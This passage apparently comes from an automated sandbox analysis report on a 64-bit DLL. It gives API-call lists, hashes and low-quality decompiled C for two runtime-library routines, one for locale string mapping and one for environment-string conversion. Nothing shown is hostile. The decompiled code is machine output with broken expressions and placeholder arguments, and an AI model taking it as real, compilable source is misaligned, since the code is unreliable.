                                                                        • SetWindowPos.USER32(?,?,?,?,?,?,?,10009EE7), ref: 10009C44
                                                                        • GetWindowRect.USER32 ref: 10009C5A
                                                                        • SetWindowPos.USER32(?,?,?,?,?,?,?,10009EE7), ref: 10009CAC
                                                                        • ShowWindow.USER32(?,?,?,?,?,?,?,10009EE7), ref: 10009CC9
                                                                        • GetDlgItem.USER32 ref: 10009CDB
                                                                        • GetDlgItem.USER32 ref: 10009CF4
                                                                        • GetDlgItem.USER32 ref: 10009D0D
                                                                        • GetDlgItem.USER32 ref: 10009D26
                                                                        • GetDlgItem.USER32 ref: 10009D3F
                                                                        • GetDlgItem.USER32 ref: 10009D58
                                                                        • GetDlgItem.USER32 ref: 10009D71
                                                                        • LoadStringW.USER32 ref: 10009DE1
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: ItemWindow$CreateDialogParamRectShow$LoadString
                                                                        • String ID:
                                                                        • API String ID: 3927565619-0
                                                                        • Opcode ID: 395243990878a187be7d47c5d1f89491966104ee6b3c8e239112ea208ceb3bb4
                                                                        • Instruction ID: 3b57961f7cbf0f3ccca5b8dab838d54c6200997233bfb92f3e9f0fa590e97b86
                                                                        • Opcode Fuzzy Hash: 395243990878a187be7d47c5d1f89491966104ee6b3c8e239112ea208ceb3bb4
                                                                        • Instruction Fuzzy Hash: 1A81E530614A4586F797CB25F89479A33A5F78C784F104125D98E83AA8DFBCCBD9CB04
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10006D90 Relevance: 16.9, APIs: 11, Instructions: 352COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 25%
                                                                        			E10006D90(int __edx, void* __esi, signed long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rdi, long long __rsi, int __r9, void* __r10, void* __r11, long long __r12, long long __r13, long long __r14, long long __r15) {
				int _t107;
				int _t114;
				void* _t117;
				int _t119;
				signed int _t124;
				signed int _t125;
				signed int _t130;
				signed int _t131;
				int _t135;
				int _t138;
				int _t141;
				int _t144;
				void* _t158;
				int _t170;
				signed int _t182;
				signed int _t190;
				signed long long _t195;
				signed long long _t196;
				signed long long _t199;
				signed long long _t200;
				signed long long _t202;
				int _t209;
				void* _t210;
				void* _t212;
				void* _t213;
				void* _t214;
				void* _t215;
				void* _t216;
				intOrPtr* _t217;
				void* _t218;
				intOrPtr* _t220;
				signed long long _t222;
				signed long long _t223;
				signed long long _t224;
				signed long long _t226;
				signed long long _t229;
				signed long long _t230;
				void* _t231;
				void* _t232;
				intOrPtr* _t234;
				int _t248;
				void* _t250;
				void* _t251;
				signed long long _t253;
				signed long long _t255;
				intOrPtr* _t259;
				signed long long _t261;
				signed long long _t262;
				signed long long _t265;

				_t263 = __r15;
				_t256 = __r13;
				_t251 = __r11;
				_t250 = __r10;
				_t227 = __rsi;
				_t218 = __rdx;
				_t202 = __rbx;
				_t232 = _t231 - 0xa0;
				_t230 = _t232 + 0x40;
				 *((long long*)(_t230 + 0x58)) = __rbx;
				 *((long long*)(_t230 + 0x50)) = __rsi;
				 *((long long*)(_t230 + 0x48)) = __rdi;
				 *((long long*)(_t230 + 0x40)) = __r12;
				 *((long long*)(_t230 + 0x38)) = __r13;
				 *((long long*)(_t230 + 0x30)) = __r14;
				 *((long long*)(_t230 + 0x28)) = __r15;
				_t195 =  *0x10016058; // 0x9983997faf96
				_t196 = _t195 ^ _t230;
				 *(_t230 + 0x18) = _t196;
				r10d =  *0x10017ed4; // 0x1
				_t144 = 0;
				_t259 = __r9;
				 *(_t230 + 8) = __r9;
				 *_t230 = r8d;
				r15d = __edx;
				 *(_t230 + 0x10) = __edx;
				_t220 = __rcx;
				if(r10d == 0) {
					_t12 = _t202 + 1; // 0x1
					r9d = _t12;
					_t145 = 0;
					 *(_t232 + 0x28) = 0;
					 *(_t232 + 0x20) = __rbx;
					if(LCMapStringW(??, ??, ??, ??, ??, ??) == 0) {
						GetLastError();
						r10d =  *0x10017ed4; // 0x1
						_t145 = 2;
						r10d =  ==  ? 2 : r10d;
					} else {
						_t15 = _t202 + 1; // 0x1
						r10d = _t15;
					}
					 *0x10017ed4 = r10d;
				}
				r9d =  *(_t230 + 0x90);
				if(r9d <= 0) {
					L13:
					if(r10d == 2 || r10d == 0) {
						_t253 = _t202;
						if(r15d == 0) {
							_t196 =  *_t220;
							r15d =  *(_t196 + 0x14);
							 *(_t230 + 0x10) = r15d;
						}
						_t170 =  *(_t230 + 0xa8);
						if(_t170 == 0) {
							_t196 =  *_t220;
							_t170 =  *(_t196 + 4);
						}
						_t145 = r15d;
						_t107 = E10007E00();
						r13d = _t107;
						if(_t107 != 0xffffffff) {
							_t234 = _t259;
							if(_t107 == _t170) {
								r9d =  *(_t230 + 0x90);
								 *(_t232 + 0x28) =  *(_t230 + 0xa0);
								_t145 = r15d;
								 *(_t232 + 0x20) =  *((intOrPtr*)(_t230 + 0x98));
								_t144 = LCMapStringA(??, ??, ??, ??, ??, ??);
								L84:
								goto L85;
							}
							_t145 = _t170;
							 *(_t232 + 0x28) = _t144;
							 *(_t232 + 0x20) = _t202;
							E10007E70(_t170, _t107, _t170, _t202, _t220, _t227, _t234, _t230 + 0x90, _t250, _t251, _t253, _t256, _t259, _t263);
							_t261 = _t196;
							if(_t196 == 0) {
								goto L62;
							}
							r9d =  *(_t230 + 0x90);
							_t145 = r15d;
							 *(_t232 + 0x28) = _t144;
							 *(_t232 + 0x20) = _t202;
							_t114 = LCMapStringA(??, ??, ??, ??, ??, ??);
							_t265 =  *((intOrPtr*)(_t230 + 0x98));
							_t248 = _t114;
							 *(_t230 + 8) = r9d;
							if(_t114 <= 0) {
								L80:
								E10001140(_t196, _t261);
								if(_t253 != 0 && _t265 != _t253) {
									E10001140(_t196, _t253);
								}
								goto L84;
							}
							_t209 = _t248;
							if(_t248 > 0xffffffe0) {
								goto L80;
							}
							_t210 = _t209 + 0x10;
							if(_t210 > 0x400) {
								_t117 = E10001070(_t196, _t202, _t210, _t220, _t227);
								_t222 = _t196;
								if(_t196 == 0) {
									L75:
									r9d =  *(_t230 + 8);
									if(_t222 != 0) {
										E10001200(_t117, _t145, 0, _t222, _t218, r9d);
										r11d =  *(_t230 + 8);
										r9d =  *(_t230 + 0x90);
										_t145 =  *(_t230 + 0x10);
										 *(_t232 + 0x28) = r11d;
										 *(_t232 + 0x20) = _t222;
										_t119 = LCMapStringA(??, ??, ??, ??, ??, ??);
										 *(_t230 + 8) = _t119;
										if(_t119 != 0) {
											 *(_t232 + 0x28) =  *(_t230 + 0xa0);
											 *(_t232 + 0x20) = _t265;
											E10007E70(r13d, _t170, _t170, _t202, _t222, _t227, _t222, _t230 + 8, _t250, _t251, _t253, _t256, _t261, _t265);
											_t253 = _t196;
											_t145 =  ==  ? _t144 :  *(_t230 + 8);
											_t144 =  ==  ? _t144 :  *(_t230 + 8);
										}
										_t92 = _t222 - 0x10; // -16
										_t212 = _t92;
										if( *((intOrPtr*)(_t222 - 0x10)) == 0xdddd) {
											E10001140(_t196, _t212);
										}
									}
									goto L80;
								}
								 *_t196 = 0xdddd;
								L74:
								_t222 = _t222 + 0x10;
								goto L75;
							}
							_t223 = _t210 + 0xf;
							if(_t223 <= _t210) {
								_t223 = 0xfffffff0;
							}
							_t224 = _t223 & 0xfffffff0;
							_t196 = _t224;
							_t117 = E10010CE0(_t114, _t196, _t250, _t251);
							_t232 = _t232 - _t224;
							_t222 = _t232 + 0x40;
							if(_t222 == 0) {
								goto L80;
							} else {
								 *_t222 = 0xcccc;
								goto L74;
							}
						} else {
							goto L62;
						}
					} else {
						if(r10d != 1) {
							L62:
							L85:
							return E10001050(_t145,  *(_t230 + 0x18) ^ _t230);
						}
						r13d =  *(_t230 + 0xa8);
						r12d = _t144;
						if(r13d == 0) {
							r13d =  *( *_t220 + 4);
						}
						_t145 = r13d;
						_t158 =  !=  ? 9 : 1;
						 *(_t232 + 0x28) = _t144;
						 *(_t232 + 0x20) = _t202;
						_t124 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
						_t182 = _t124;
						_t262 = _t124;
						if(_t182 == 0 || _t182 <= 0) {
							goto L62;
						} else {
							_t198 = 0xffffffe0;
							_t125 = _t124 / _t262;
							if(0xffffffe0 < 2) {
								goto L62;
							}
							_t30 = _t262 + 0x10; // 0x30
							_t213 = _t262 + _t30;
							if(_t213 > 0x400) {
								E10001070(0xffffffe0, _t202, _t213, 0xfffffff0, _t227);
								_t229 = 0xffffffe0;
								if(0xffffffe0 == 0) {
									L29:
									if(_t229 == 0) {
										goto L62;
									}
									r9d =  *(_t230 + 0x90);
									_t145 = r13d;
									 *(_t232 + 0x28) = r14d;
									 *(_t232 + 0x20) = _t229;
									if(MultiByteToWideChar(??, ??, ??, ??, ??, ??) == 0) {
										L54:
										_t64 = _t229 - 0x10; // -16
										_t214 = _t64;
										if( *((intOrPtr*)(_t229 - 0x10)) == 0xdddd) {
											E10001140(_t198, _t214);
										}
										goto L85;
									}
									r9d = r14d;
									_t145 = r15d;
									 *(_t232 + 0x28) = _t144;
									 *(_t232 + 0x20) = _t202;
									_t130 = LCMapStringW(??, ??, ??, ??, ??, ??);
									_t190 = _t130;
									_t255 = _t130;
									if(_t190 == 0) {
										goto L54;
									}
									_t145 =  *_t230;
									asm("bt ecx, 0xa");
									if(_t190 >= 0) {
										if(_t130 <= 0) {
											goto L54;
										}
										_t198 = 0xffffffe0;
										_t131 = _t130 / _t255;
										if(0xffffffe0 < 2) {
											goto L54;
										}
										_t48 = _t255 + 0x10; // 0x10
										_t215 = _t255 + _t48;
										if(_t215 > 0x400) {
											E10001070(0xffffffe0, _t202, _t215, 0xfffffff0, _t229);
											_t226 = 0xffffffe0;
											if(0xffffffe0 == 0) {
												L46:
												if(_t226 != 0) {
													r9d = r14d;
													_t145 = r15d;
													 *(_t232 + 0x28) = r12d;
													 *(_t232 + 0x20) = _t226;
													if(LCMapStringW(??, ??, ??, ??, ??, ??) != 0) {
														_t135 =  *(_t230 + 0xa0);
														 *(_t232 + 0x38) = _t202;
														r9d = r12d;
														_t145 = r13d;
														 *(_t232 + 0x30) = _t202;
														if(_t135 != 0) {
															 *(_t232 + 0x28) = _t135;
															_t198 =  *((intOrPtr*)(_t230 + 0x98));
															 *(_t232 + 0x20) =  *((intOrPtr*)(_t230 + 0x98));
														} else {
															 *(_t232 + 0x28) = _t144;
															 *(_t232 + 0x20) = _t202;
														}
														r12d = WideCharToMultiByte();
													}
													_t62 = _t226 - 0x10; // -16
													_t216 = _t62;
													if( *((intOrPtr*)(_t226 - 0x10)) == 0xdddd) {
														E10001140(_t198, _t216);
													}
												}
												goto L54;
											}
											 *0xffffffe0 = 0xdddd;
											L45:
											_t226 = _t226 + 0x10;
											goto L46;
										}
										_t49 = _t215 + 0xf; // 0x1f
										_t199 = _t49;
										if(_t199 <= _t215) {
											_t199 = 0xfffffff0;
										}
										_t198 = _t199 & 0xfffffff0;
										E10010CE0(_t131, _t198, _t250, _t251);
										_t232 = _t232 - _t198;
										_t226 = _t232 + 0x40;
										if(_t226 == 0) {
											goto L54;
										} else {
											 *_t226 = 0xcccc;
											goto L45;
										}
									}
									_t138 =  *(_t230 + 0xa0);
									if(_t138 != 0 && r12d <= _t138) {
										 *(_t232 + 0x28) = _t138;
										_t198 =  *((intOrPtr*)(_t230 + 0x98));
										r9d = r14d;
										_t145 = r15d;
										 *(_t232 + 0x20) =  *((intOrPtr*)(_t230 + 0x98));
										LCMapStringW(??, ??, ??, ??, ??, ??);
									}
									goto L54;
								}
								 *0xffffffe0 = 0xdddd;
								L28:
								_t229 = _t229 + 0x10;
								goto L29;
							}
							_t31 = _t213 + 0xf; // 0x3f
							_t200 = _t31;
							if(_t200 <= _t213) {
								_t200 = 0xfffffff0;
							}
							_t198 = _t200 & 0xfffffff0;
							E10010CE0(_t125, _t198, _t250, _t251);
							_t232 = _t232 - _t198;
							_t229 = _t232 + 0x40;
							if(_t229 == 0) {
								goto L62;
							} else {
								 *_t229 = 0xcccc;
								goto L28;
							}
						}
					}
				} else {
					_t141 = r9d;
					_t217 = _t259;
					while(1) {
						_t141 = _t141 - 1;
						if( *_t217 == _t144) {
							break;
						}
						_t217 = _t217 + 1;
						if(_t141 != 0) {
							continue;
						} else {
							_t141 = 0xffffffff;
							break;
						}
					}
					_t145 = r9d - _t141 - 1;
					if(_t145 >= r9d) {
						r9d = _t145;
						 *(_t230 + 0x90) = _t145;
					} else {
						r9d = _t217 + 1;
						 *(_t230 + 0x90) = r9d;
					}
					goto L13;
				}
			}




















































                                                                        0x10006d90
                                                                        0x10006d90
                                                                        0x10006d90
                                                                        0x10006d90
                                                                        0x10006d90
                                                                        0x10006d90
                                                                        0x10006d90
                                                                        0x10006d92
                                                                        0x10006d99
                                                                        0x10006d9e
                                                                        0x10006da2
                                                                        0x10006da6
                                                                        0x10006daa
                                                                        0x10006dae
                                                                        0x10006db2
                                                                        0x10006db6
                                                                        0x10006dba
                                                                        0x10006dc1
                                                                        0x10006dc4
                                                                        0x10006dc8
                                                                        0x10006dcf
                                                                        0x10006dd1
                                                                        0x10006dd7
                                                                        0x10006ddb
                                                                        0x10006ddf
                                                                        0x10006de2
                                                                        0x10006de5
                                                                        0x10006de8
                                                                        0x10006dea
                                                                        0x10006dea
                                                                        0x10006dfa
                                                                        0x10006dfc
                                                                        0x10006e00
                                                                        0x10006e0d
                                                                        0x10006e15
                                                                        0x10006e1b
                                                                        0x10006e22
                                                                        0x10006e2a
                                                                        0x10006e0f
                                                                        0x10006e0f
                                                                        0x10006e0f
                                                                        0x10006e0f
                                                                        0x10006e2e
                                                                        0x10006e2e
                                                                        0x10006e35
                                                                        0x10006e3f
                                                                        0x10006e7e
                                                                        0x10006e82
                                                                        0x10007105
                                                                        0x10007108
                                                                        0x1000710a
                                                                        0x1000710d
                                                                        0x10007111
                                                                        0x10007111
                                                                        0x10007115
                                                                        0x1000711d
                                                                        0x1000711f
                                                                        0x10007122
                                                                        0x10007122
                                                                        0x10007125
                                                                        0x10007128
                                                                        0x10007130
                                                                        0x10007133
                                                                        0x1000713e
                                                                        0x10007141
                                                                        0x100072a9
                                                                        0x100072b3
                                                                        0x100072be
                                                                        0x100072c1
                                                                        0x100072cc
                                                                        0x100072ce
                                                                        0x00000000
                                                                        0x100072ce
                                                                        0x10007150
                                                                        0x10007152
                                                                        0x10007156
                                                                        0x1000715b
                                                                        0x10007163
                                                                        0x10007166
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10007168
                                                                        0x10007175
                                                                        0x10007178
                                                                        0x1000717c
                                                                        0x10007181
                                                                        0x10007187
                                                                        0x10007190
                                                                        0x10007193
                                                                        0x10007197
                                                                        0x10007287
                                                                        0x1000728a
                                                                        0x10007292
                                                                        0x1000729c
                                                                        0x1000729c
                                                                        0x00000000
                                                                        0x10007292
                                                                        0x100071a1
                                                                        0x100071a4
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x100071aa
                                                                        0x100071b5
                                                                        0x100071ef
                                                                        0x100071f7
                                                                        0x100071fa
                                                                        0x10007206
                                                                        0x10007209
                                                                        0x1000720d
                                                                        0x10007217
                                                                        0x1000721c
                                                                        0x10007220
                                                                        0x1000722a
                                                                        0x1000722d
                                                                        0x10007235
                                                                        0x1000723a
                                                                        0x10007242
                                                                        0x10007245
                                                                        0x10007254
                                                                        0x1000725d
                                                                        0x10007262
                                                                        0x1000726d
                                                                        0x10007270
                                                                        0x10007273
                                                                        0x10007273
                                                                        0x1000727c
                                                                        0x1000727c
                                                                        0x10007280
                                                                        0x10007282
                                                                        0x10007282
                                                                        0x10007280
                                                                        0x00000000
                                                                        0x1000720d
                                                                        0x100071fc
                                                                        0x10007202
                                                                        0x10007202
                                                                        0x00000000
                                                                        0x10007202
                                                                        0x100071b7
                                                                        0x100071be
                                                                        0x100071c0
                                                                        0x100071c0
                                                                        0x100071ca
                                                                        0x100071ce
                                                                        0x100071d1
                                                                        0x100071d6
                                                                        0x100071d9
                                                                        0x100071e1
                                                                        0x00000000
                                                                        0x100071e7
                                                                        0x100071e7
                                                                        0x00000000
                                                                        0x100071e7
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10006e91
                                                                        0x10006e95
                                                                        0x10007135
                                                                        0x100072d0
                                                                        0x100072fd
                                                                        0x100072fd
                                                                        0x10006e9b
                                                                        0x10006ea2
                                                                        0x10006ea8
                                                                        0x10006ead
                                                                        0x10006ead
                                                                        0x10006ec4
                                                                        0x10006ec7
                                                                        0x10006eca
                                                                        0x10006ece
                                                                        0x10006ed3
                                                                        0x10006ed9
                                                                        0x10006edb
                                                                        0x10006ede
                                                                        0x00000000
                                                                        0x10006eea
                                                                        0x10006eec
                                                                        0x10006ef3
                                                                        0x10006efa
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10006f00
                                                                        0x10006f00
                                                                        0x10006f16
                                                                        0x10006f46
                                                                        0x10006f4e
                                                                        0x10006f51
                                                                        0x10006f5d
                                                                        0x10006f60
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10006f66
                                                                        0x10006f76
                                                                        0x10006f79
                                                                        0x10006f7e
                                                                        0x10006f8b
                                                                        0x100070e8
                                                                        0x100070ef
                                                                        0x100070ef
                                                                        0x100070f3
                                                                        0x100070f5
                                                                        0x100070f5
                                                                        0x00000000
                                                                        0x100070fa
                                                                        0x10006f94
                                                                        0x10006f9a
                                                                        0x10006f9d
                                                                        0x10006fa1
                                                                        0x10006fa6
                                                                        0x10006fac
                                                                        0x10006fae
                                                                        0x10006fb1
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10006fb7
                                                                        0x10006fba
                                                                        0x10006fbe
                                                                        0x10006fff
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10007007
                                                                        0x1000700e
                                                                        0x10007015
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x1000701b
                                                                        0x1000701b
                                                                        0x10007027
                                                                        0x10007057
                                                                        0x1000705f
                                                                        0x10007062
                                                                        0x1000706e
                                                                        0x10007071
                                                                        0x10007076
                                                                        0x1000707c
                                                                        0x1000707f
                                                                        0x10007084
                                                                        0x10007091
                                                                        0x10007093
                                                                        0x1000709b
                                                                        0x100070a2
                                                                        0x100070a8
                                                                        0x100070ab
                                                                        0x100070b0
                                                                        0x100070bd
                                                                        0x100070c1
                                                                        0x100070c8
                                                                        0x100070b2
                                                                        0x100070b2
                                                                        0x100070b6
                                                                        0x100070b6
                                                                        0x100070d3
                                                                        0x100070d3
                                                                        0x100070dd
                                                                        0x100070dd
                                                                        0x100070e1
                                                                        0x100070e3
                                                                        0x100070e3
                                                                        0x100070e1
                                                                        0x00000000
                                                                        0x10007071
                                                                        0x10007064
                                                                        0x1000706a
                                                                        0x1000706a
                                                                        0x00000000
                                                                        0x1000706a
                                                                        0x10007029
                                                                        0x10007029
                                                                        0x10007030
                                                                        0x10007032
                                                                        0x10007032
                                                                        0x10007035
                                                                        0x10007039
                                                                        0x1000703e
                                                                        0x10007041
                                                                        0x10007049
                                                                        0x00000000
                                                                        0x1000704f
                                                                        0x1000704f
                                                                        0x00000000
                                                                        0x1000704f
                                                                        0x10007049
                                                                        0x10006fc0
                                                                        0x10006fc8
                                                                        0x10006fd7
                                                                        0x10006fdb
                                                                        0x10006fe4
                                                                        0x10006fea
                                                                        0x10006fed
                                                                        0x10006ff2
                                                                        0x10006ff2
                                                                        0x00000000
                                                                        0x10006fc8
                                                                        0x10006f53
                                                                        0x10006f59
                                                                        0x10006f59
                                                                        0x00000000
                                                                        0x10006f59
                                                                        0x10006f18
                                                                        0x10006f18
                                                                        0x10006f1f
                                                                        0x10006f21
                                                                        0x10006f21
                                                                        0x10006f24
                                                                        0x10006f28
                                                                        0x10006f2d
                                                                        0x10006f30
                                                                        0x10006f38
                                                                        0x00000000
                                                                        0x10006f3e
                                                                        0x10006f3e
                                                                        0x00000000
                                                                        0x10006f3e
                                                                        0x10006f38
                                                                        0x10006ede
                                                                        0x10006e41
                                                                        0x10006e41
                                                                        0x10006e44
                                                                        0x10006e47
                                                                        0x10006e47
                                                                        0x10006e4c
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10006e4e
                                                                        0x10006e54
                                                                        0x00000000
                                                                        0x10006e56
                                                                        0x10006e56
                                                                        0x00000000
                                                                        0x10006e56
                                                                        0x10006e54
                                                                        0x10006e60
                                                                        0x10006e66
                                                                        0x10006e75
                                                                        0x10006e78
                                                                        0x10006e68
                                                                        0x10006e68
                                                                        0x10006e6c
                                                                        0x10006e6c
                                                                        0x00000000
                                                                        0x10006e66

                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: String$ByteCharMultiWide$ErrorLast
                                                                        • String ID:
                                                                        • API String ID: 1775797328-0
                                                                        • Opcode ID: d6a80c6ce9c968c7dcf101655dd057e8e653167a809e28e57d9db821153c6654
                                                                        • Instruction ID: 0af50f2840901613b3b76a0cb7f3e890688a1202668b2b68fd9247d84d7c7dd2
                                                                        • Opcode Fuzzy Hash: d6a80c6ce9c968c7dcf101655dd057e8e653167a809e28e57d9db821153c6654
                                                                        • Instruction Fuzzy Hash: 21E18B32B007C08AEB65CF25E94079977A2F748BE8F504719EA6D57B9CDB78CA90C740
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10003C00 Relevance: 15.1, APIs: 10, Instructions: 132COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 27%
                                                                        			E10003C00(void* __ebx, intOrPtr __ebp, long long __rax, long long __rbx, long long __rdi, long long __rsi, long long __rbp, long long __r12, long long _a8, long long _a16, long long _a24, long long _a32) {
				long long _v8;
				long long _v16;
				long long _v24;
				intOrPtr _v32;
				long long _v40;
				intOrPtr _t27;
				CHAR* _t28;
				int _t37;
				int _t39;
				void* _t45;
				void* _t46;
				intOrPtr _t51;
				long long _t60;
				long long _t64;
				short* _t67;
				signed long long _t69;
				short* _t84;
				long long _t91;
				long long _t92;
				int _t93;
				long long _t98;

				_t98 = __r12;
				_t92 = __rbp;
				_t86 = __rsi;
				_t80 = __rdi;
				_t60 = __rax;
				_t51 = __ebp;
				_t45 = __ebx;
				_t27 =  *0x10017bb8; // 0x1
				_a8 = __rbx;
				_a24 = __rsi;
				_a32 = __rdi;
				if(_t27 != 0) {
					L6:
					if(_t27 != 1) {
						if(_t27 == 2 || _t27 == 0) {
							goto L21;
						} else {
							goto L28;
						}
					} else {
						GetEnvironmentStringsW();
						_t84 = _t60;
						if(_t60 == 0) {
							goto L28;
						} else {
							goto L8;
						}
					}
				} else {
					GetEnvironmentStringsW();
					_t80 = __rax;
					if(__rax == 0) {
						if(GetLastError() != 0x78) {
							_t27 =  *0x10017bb8; // 0x1
							goto L6;
						} else {
							 *0x10017bb8 = 2;
							L21:
							_t28 = GetEnvironmentStrings();
							_t64 = _t60;
							if(_t60 == 0) {
								L28:
								return 0;
							} else {
								if( *_t60 != 0) {
									goto L24;
									do {
										do {
											L24:
											_t60 = _t60 + 1;
										} while ( *_t60 != 0);
										_t60 = _t60 + 1;
									} while ( *_t60 != 0);
								}
								_t88 = _t28 - _t45 + 1;
								E10003190(_t46, _t60, _t64, _t28 - _t45 + 1, _t80, _t28 - _t45 + 1, _t92);
								if(_t60 != 0) {
									E100068A0(_t46, _t60, _t64, _t88);
									return FreeEnvironmentStringsA(??);
								} else {
									FreeEnvironmentStringsA();
									goto L28;
								}
							}
						}
					} else {
						 *0x10017bb8 = 1;
						L8:
						_t67 = _t84;
						if( *_t84 != 0) {
							goto L10;
							do {
								do {
									L10:
									_t67 = _t67 + 2;
								} while ( *_t67 != 0);
								_t67 = _t67 + 2;
							} while ( *_t67 != 0);
						}
						_a16 = _t92;
						_v8 = _t98;
						r12d = 0;
						_t69 = _t67 - _t84 >> 1;
						_v16 = _t98;
						_v24 = _t98;
						_t8 = _t69 + 1; // 0x1
						r9d = _t8;
						_v32 = r12d;
						_v40 = _t98;
						_t37 = WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??);
						_t93 = _t37;
						if(_t37 == 0) {
							L18:
							FreeEnvironmentStringsW();
							_t39 = 0;
						} else {
							E10003190(0, _t60, _t69, _t93, _t84, _t86, _t93);
							_t91 = _t60;
							if(_t60 == 0) {
								goto L18;
							} else {
								_v16 = _t98;
								_v24 = _t98;
								_t13 = _t69 + 1; // 0x1
								r9d = _t13;
								_v32 = _t51;
								_v40 = _t60;
								if(WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??) == 0) {
									E10001140(_t60, _t91);
									_t91 = _t98;
								}
								_t39 = FreeEnvironmentStringsW();
							}
						}
						return _t39;
					}
				}
			}
























                                                                        0x10003c00
                                                                        0x10003c00
                                                                        0x10003c00
                                                                        0x10003c00
                                                                        0x10003c00
                                                                        0x10003c00
                                                                        0x10003c00
                                                                        0x10003c04
                                                                        0x10003c0a
                                                                        0x10003c0f
                                                                        0x10003c16
                                                                        0x10003c1b
                                                                        0x10003c57
                                                                        0x10003c5a
                                                                        0x10003d50
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10003c60
                                                                        0x10003c60
                                                                        0x10003c69
                                                                        0x10003c6c
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10003c6c
                                                                        0x10003c1d
                                                                        0x10003c1d
                                                                        0x10003c26
                                                                        0x10003c29
                                                                        0x10003c40
                                                                        0x10003c51
                                                                        0x00000000
                                                                        0x10003c42
                                                                        0x10003c42
                                                                        0x10003d56
                                                                        0x10003d56
                                                                        0x10003d5f
                                                                        0x10003d62
                                                                        0x10003da3
                                                                        0x10003db8
                                                                        0x10003d64
                                                                        0x10003d67
                                                                        0x00000000
                                                                        0x10003d70
                                                                        0x10003d70
                                                                        0x10003d70
                                                                        0x10003d70
                                                                        0x10003d74
                                                                        0x10003d79
                                                                        0x10003d7d
                                                                        0x10003d70
                                                                        0x10003d87
                                                                        0x10003d8d
                                                                        0x10003d98
                                                                        0x10003dc2
                                                                        0x10003de6
                                                                        0x10003d9a
                                                                        0x10003d9d
                                                                        0x00000000
                                                                        0x10003d9d
                                                                        0x10003d98
                                                                        0x10003d62
                                                                        0x10003c2b
                                                                        0x10003c2b
                                                                        0x10003c72
                                                                        0x10003c76
                                                                        0x10003c79
                                                                        0x00000000
                                                                        0x10003c80
                                                                        0x10003c80
                                                                        0x10003c80
                                                                        0x10003c80
                                                                        0x10003c84
                                                                        0x10003c8a
                                                                        0x10003c8e
                                                                        0x10003c80
                                                                        0x10003c97
                                                                        0x10003c9c
                                                                        0x10003ca1
                                                                        0x10003ca4
                                                                        0x10003caa
                                                                        0x10003caf
                                                                        0x10003cb4
                                                                        0x10003cb4
                                                                        0x10003cbc
                                                                        0x10003cc1
                                                                        0x10003cc6
                                                                        0x10003cce
                                                                        0x10003cd1
                                                                        0x10003d40
                                                                        0x10003d43
                                                                        0x10003d49
                                                                        0x10003cd3
                                                                        0x10003cd6
                                                                        0x10003cde
                                                                        0x10003ce1
                                                                        0x00000000
                                                                        0x10003ce3
                                                                        0x10003ce3
                                                                        0x10003ce8
                                                                        0x10003ced
                                                                        0x10003ced
                                                                        0x10003cf8
                                                                        0x10003cfc
                                                                        0x10003d09
                                                                        0x10003d0e
                                                                        0x10003d13
                                                                        0x10003d13
                                                                        0x10003d19
                                                                        0x10003d1f
                                                                        0x10003ce1
                                                                        0x10003d3f
                                                                        0x10003d3f
                                                                        0x10003c29

                                                                        APIs
                                                                        • GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,?,10001618), ref: 10003C1D
                                                                        • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,10001618), ref: 10003C37
                                                                        • GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,?,10001618), ref: 10003C60
                                                                        • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,10001618), ref: 10003CC6
                                                                        • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,10001618), ref: 10003D01
                                                                        • FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,?,10001618), ref: 10003D19
                                                                        • FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,?,10001618), ref: 10003D43
